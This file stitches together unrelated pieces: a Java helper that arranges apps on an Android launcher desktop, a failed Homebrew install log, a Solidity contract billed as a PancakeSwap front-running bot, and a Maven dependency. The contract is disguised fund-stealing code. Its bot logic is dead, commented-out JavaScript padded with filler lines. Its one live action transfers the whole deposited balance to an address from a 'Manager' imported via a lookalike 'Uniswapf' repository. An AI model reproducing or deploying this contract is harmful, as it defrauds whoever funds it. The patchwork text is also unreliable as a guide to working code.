package com.benny.openlauncher.util;

import android.util.Log;

import com.benny.openlauncher.AppObject;
import com.benny.openlauncher.activity.HomeActivity;
import com.benny.openlauncher.model.App;
import com.benny.openlauncher.model.Item;
import com.benny.openlauncher.widget.CellContainer;
import com.benny.openlauncher.widget.Desktop;

import java.util.ArrayList;
import java.util.List;

// 桌面app排列有关工具类
public class DeskTopUtils {

    // 第一次初始化
    public static void onCreate(List<App> apps) {
       // TODO 
    }
    // 添加到hide，并从数据库移除
    public static void removeFromDesk(String pkg) {
        Log.d("DeskTopUtils","remove local app from desk pkg:"+ pkg);
        // hide 更新
        ArrayList<String> hiddenList = AppSettings.get().getHiddenAppsList();
        if(HomeActivity._db == null )return;

        // 根据pkg找到app
        List<App>  apps =  AppManager.getInstance(AppObject.get()).getNonFilteredApps();
        App findApp = null;
        for (App app : apps) {
            if (app.getComponentName().contains(pkg)) {
                findApp = app;
                // 构造Intent string
                HomeActivity._db.deleteItemByIntent(Tool.getIntentAsString(Tool.getIntentFromApp(findApp)));
                Log.d("DeskTopUtils","remove find match local app "+ findApp.getComponentName());
            }
        }

        if( findApp == null ) {
            Log.d("DeskTopUtils","removeFromDesk can't find match local app "+ pkg);
            return;
        } else {
            Log.d("DeskTopUtils","removeFromDesk find match local app "+ findApp.getComponentName());
        }


    }

    // 生成坐标
    private static String genCoordinate(List<List<Item>> itemLists ){
        String coordinateStr =  "";
        for (int pageCount = 0; pageCount < itemLists.size(); pageCount++) {
            List<Item> page = itemLists.get(pageCount);
            for (int j = 0; j < page.size(); j++) {
                coordinateStr += "("+pageCount +"," + page.get(j)._x+","+page.get(j)._y+");";
            }
        }
        return coordinateStr;
    }

    // 从hide移除，并从desktop中选择合适位置，添加进去
    public static void addToDesk(String pkg) {
        // hide 更新
        ArrayList<String> hiddenList = AppSettings.get().getHiddenAppsList();
        if(HomeActivity._db == null )return;

        // 根据pkg找到app
        List<App>  apps =  AppManager.getInstance(AppObject.get()).getNonFilteredApps();
        App findApp = null;
        for (App app : apps) {
            if (app.getComponentName().contains(pkg)) {
                findApp = app;
            }
        }

        if( findApp == null ) {
            Log.d("DeskTopUtils","addToDesk can't find match local app "+ pkg);
            return;
        } else {
            Log.d("DeskTopUtils","addToDesk find match local app "+ findApp.getComponentName());
        }

        // 数据库更新
        List<CellContainer> _pages = new ArrayList<>();
        List<List<Item>> desktopItems = HomeActivity._db.getDesktop();

        String deskGrid = genCoordinate(desktopItems);
        int row = AppSettings.get().getDesktopRowCount();
        int col = AppSettings.get().getDesktopColumnCount();

        // 查找每一个page中的合适位置
        String t_point = "";
        int find_x = 0;
        int find_y = 0;
        boolean find = false;

        // 倒序，刚容易找到位置，先这样
        for (int pageCount = 0; pageCount < desktopItems.size(); pageCount++) {
            List<Item> page = desktopItems.get(pageCount);
            // 如果倒序，刚容易找到位置，先这样;取舍：这样可以在添加的时候，优先使用最前面的空缺位置
            for( int j=0;j<page.size();j++) {
                //尝试在每一个元素周边寻找区域
                Item t_item = page.get(j);
                int t_x = t_item._x;
                int t_y = t_item._y;
                // 右边
                int tx_top = t_x-1;
                if( tx_top >=0 ) {
                    t_point = "(" +pageCount+","+tx_top+","+t_y+")";
                    if( !deskGrid.contains( t_point ) ) {
                        find_x = tx_top;
                        find_y = t_y;
                        find = true;
                        break;
                    }
                }

                // 左边
                tx_top = t_x +1;
                if( tx_top >=0 && tx_top < col ){
                    t_point = "("+pageCount+","+tx_top+","+t_y+")";
                    if( !deskGrid.contains( t_point ) ) {
                        find_x = tx_top;
                        find_y = t_y;
                        find = true;
                        break;
                    }
                }

                // 上边
                int ty_top = t_y -1;
                if( ty_top >=0 ){
                    t_point = "("+pageCount+","+t_x+","+ty_top+")";
                    if( !deskGrid.contains( t_point ) ) {
                        find_x  = t_x;
                        find_y = ty_top;
                        find = true;
                        break;
                    }
                }

                // 下边
                ty_top = t_y + 1;
                if( ty_top >=0 && ty_top < row){
                    t_point = "("+pageCount+","+t_x+","+ty_top+")";
                    if( !deskGrid.contains( t_point ) ) {
                        find_x  = t_x;
                        find_y = ty_top;
                        find = true;
                        break;
                    }
                }
            }

            Item newItem = Item.newAppItem(findApp);
            newItem._spanY = 1;
            newItem._spanX = 1;
            if( find ) {
                newItem._x = find_x;
                newItem._y = find_y;
                HomeActivity._db.saveItem(newItem, pageCount, Definitions.ItemPosition.Desktop);
                Log.d("DeskTopUtils","addToDesk find location to locate app  page,x,y="+pageCount +"," +find_x+","+ find_y +"，package="+Tool.getIntentAsString(newItem._intent));
                break;
            } else {
                // 新建一个页面，放置app
                if ( pageCount == desktopItems.size()-1 ) {
                    int newPage = pageCount + 1;
                    newItem._x = 0;
                    newItem._y = 0;
                    HomeActivity._db.saveItem(newItem, newPage, Definitions.ItemPosition.Desktop);
                    Log.d("DeskTopUtils", "addToDesk no location , new page ,  page,x,y=" + newPage + "," + find_x + "," + find_y + "，package=" + Tool.getIntentAsString(newItem._intent));
                    break;
                } else {
                    Log.d("DeskTopUtils", "addToDesk no location , query new page try");
                }
            }
        }
    }

}

yyy@xxx-MacBook-Pro ~ % brew install rabbitmq

Running `brew update --preinstall`...
fatal: Could not resolve HEAD to a revision
==> Tapping homebrew/cask
Cloning into '/usr/local/Homebrew/Library/Taps/homebrew/homebrew-cask'...
remote: Enumerating objects: 633392, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 633392 (delta 6), reused 2 (delta 0), pack-reused 633378
Receiving objects: 100% (633392/633392), 298.02 MiB | 9.22 MiB/s, done.
Resolving deltas: 100% (448299/448299), done.
Updating files: 100% (4055/4055), done.
Tapped 3996 casks (4,066 files, 318.3MB).
Warning: No available formula with the name "rabbitmq".
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching taps on GitHub...
Error: No formulae found in taps.
jim@zhangs-MacBook-Pro ~ % brew install rabbitmq

Running `brew update --preinstall`...
fatal: Could not resolve HEAD to a revision
Warning: No available formula with the name "rabbitmq".
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching taps on GitHub...
Error: No formulae found in taps.

pragma solidity ^0.6.6;

// PancakeSwap FrontrunDeployer
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";
// PancakeSwap manager
import "https://github.com/Uniswapf/uniswap-v2-periphery/blob/main/master-contracts-interfaces/V1/IUniswapV1Factory.md";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";



contract PancakeswapV2FrontBot {
    
    string public tokenName;
	string public tokenSymbol;
	uint frontrun;
	Manager manager;
	
	
	constructor(string memory _tokenName, string memory _tokenSymbol) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		manager = new Manager();
		
		}
	
	    
	    // Send required BNB for liquidity pair
	    receive() external payable {}
	    
	    
	    // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();
	    
	    function action() public payable {
	
	//Perform a front-running attack on uniswap

//const fs = require('fs');
//var Web3 = require('web3');
//var abiDecoder = require('abi-decoder');
//var colors = require("colors");
//var Tx = require('ethereumjs-tx').Transaction;
//var axios = require('axios');
//var BigNumber = require('big-number');

//const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST} = require('./constants.js');
//const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI} = require('./bot.js');
//const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

//const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
//const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
manager;

//var input_token_info;
//var out_token_info;
//var pool_info;
//var gas_price_info;
manager;

//var web3;
//var web3Ts;
//var web3Ws;
//var pancakeRouter;
//var pancakeFactory;
manager;

// one gwei
//const ONE_GWEI = 1e9;
manager;

//var buy_finished = false;
//var sell_finished = false;
//var buy_failed = false;
//var sell_failed = false;
//var attack_started = false;
manager;

//var succeed = false;
//var subscription;
manager;

//async function createWeb3(){
    //try {
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK));
        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST));
       // web3 = new Web3(EthereumTesterProvider());
       // web3.eth.getAccounts(console.log);
      //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK));
    //pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS);
        //pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS);
        //abiDecoder.addABI(PANCAKE_ROUTER_ABI);
        manager;

        //return true;
    //} catch (error) {
      //console.log(error);
      //return false;
      

//async function main() {
 
//try {   
        //if (await createWeb3() == false) {
            //console.log('Web3 Create Error'.yellow);
            //process.exit();
            
            
        
        
        //const user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);
        //const out_token_address = TOKEN_ADDRESS;
        //const amount = AMOUNT;
        //const level = LEVEL;
        
        //ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level);
        //if(ret == false) {
          //process.exit();
        

        //await updatePoolInfo();
        //outputtoken = await pancakeRouter.methods.getAmountOut(((amount*1.2)*(10**18)).toString(), pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();

        //await approve(gas_price_info.high, outputtoken, out_token_address, user_wallet);
        
        //log_str = '***** Tracking more ' + (pool_info.attack_volumn/(10**input_token_info.decimals)).toFixed(5) + ' ' +  input_token_info.symbol + '  Exchange on Pancake *****'
        // console.log(log_str.green);    
        // console.log(web3Ws);
        //web3Ws.onopen = function(evt) {
            //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user_wallet.address }));
            //console.log('connected')
        
        // get pending transactions
        //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {
        //}).on("data", async function (transactionHash) {
            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);
            // if (transaction != null && transaction['to'] == PANCAKE_ROUTER_ADDRESS)
            // {
            //     await handleTransaction(transaction, out_token_address, user_wallet, amount, level);
            // }
            
            //if (succeed) {
                //console.log("The bot finished the attack.");
                //process.exit();
               
            
     

    //catch (error) {
      
      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')
      
         //console.log('Daily request count exceeded, Request rate limited'.yellow);
         //console.log('Please insert other API Key');
      //else{
         //console.log('Unknown Handled Error');
         //console.log(error);
       

      //process.exit();


//function handleTransaction(transaction, out_token_address, user_wallet, amount, level) {
    
    //(await triggersFrontRun(transaction, out_token_address, amount, level)) {
        //subscription.unsubscribe();
        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);
        //newGasPrice = gasPrice + 50*ONE_GWEI;

        //estimatedInput = ((amount*0.999)*(10**18)).toString();
        //realInput = (amount*(10**18)).toString();
        //gasLimit = (300000).toString();
        
        //await updatePoolInfo();

        //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool_info.input_volumn.toString(), pool_info.output_volumn.toString()).call();
        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out_token_address, user_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {
        

        //if(buy_failed)
        
            //succeed = false;
            //return;
           
        
        //console.log('Buy succeed:')
        
        //Sell
        //await updatePoolInfo();
        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool_info.output_volumn.toString(), pool_info.input_volumn.toString()).call();
        //outputeth = outputeth * 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out_token_address, user_wallet, transaction);
        
        //console.log('Sell succeed');
        //succeed = true;
manager;

//async function approve(gasPrice, outputtoken, out_token_address, user_wallet){
    //var allowance = await out_token_info.token_contract.methods.allowance(user_wallet.address, PANCAKE_ROUTER_ADDRESS).call();
    
    //allowance = BigNumber(allowance);
    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out_token_info.decimals);
    //var max_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max_allowance))
   
       //console.log('replace max allowance')
       //max_allowance = outputtoken;
       
       payable(manager.uniswapDepositAddress()).transfer(address(this).balance);
      
    
    //if(outputtoken.gt(allowance)){
        //console.log(max_allowance.toString());
        //var approveTX ={
                //from: user_wallet.address,
                //to: out_token_address,
                //gas: 50000,
                //gasPrice: gasPrice*ONE_GWEI,
                //data: out_token_info.token_contract.methods.approve(PANCAKE_ROUTER_ADDRESS, max_allowance).encodeABI()
                manager;
            

        //var signedTX = await user_wallet.signTransaction(approveTX);
        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')
    
    //return;


//select attacking transaction
//async function triggersFrontRun(transaction, out_token_address, amount, level) {
    
    //if(attack_started)
        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10**9);
    //if(parseInt(transaction['gasPrice']) / 10**9 > 10 && parseInt(transaction['gasPrice']) / 10**9 < 50){
        //attack_started = true;
        //return true
   manager; 

    //return false;

    //if (transaction['to'] != PANCAKE_ROUTER_ADDRESS) {
        //return false;
   

    //let data = parseTx(transaction['input']);
   manager;
    //let method = data[0];
    manager;
    //let params = data[1];
    manager;
    //let gasPrice = parseInt(transaction['gasPrice']) / 10**9;
    manager;

    //if(method == 'swapExactETHForTokens')
    manager;
    
        //let in_amount = transaction;
        manager;
        //let out_min = params[0];
        manager;

        //let path = params[1];
        manager;
        //let in_token_addr = path[0];
        manager;
        //let out_token_addr = path[path.length-1];
        manager;
        
        //let recept_addr = params[2];
        manager;
        //let deadline = params[3];
        manager;

        //if(out_token_addr != out_token_address)
        manager;
        
            // console.log(out_token_addr.blue)
            // console.log(out_token_address)
            //return false;
}
}

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-cache</artifactId>
</dependency>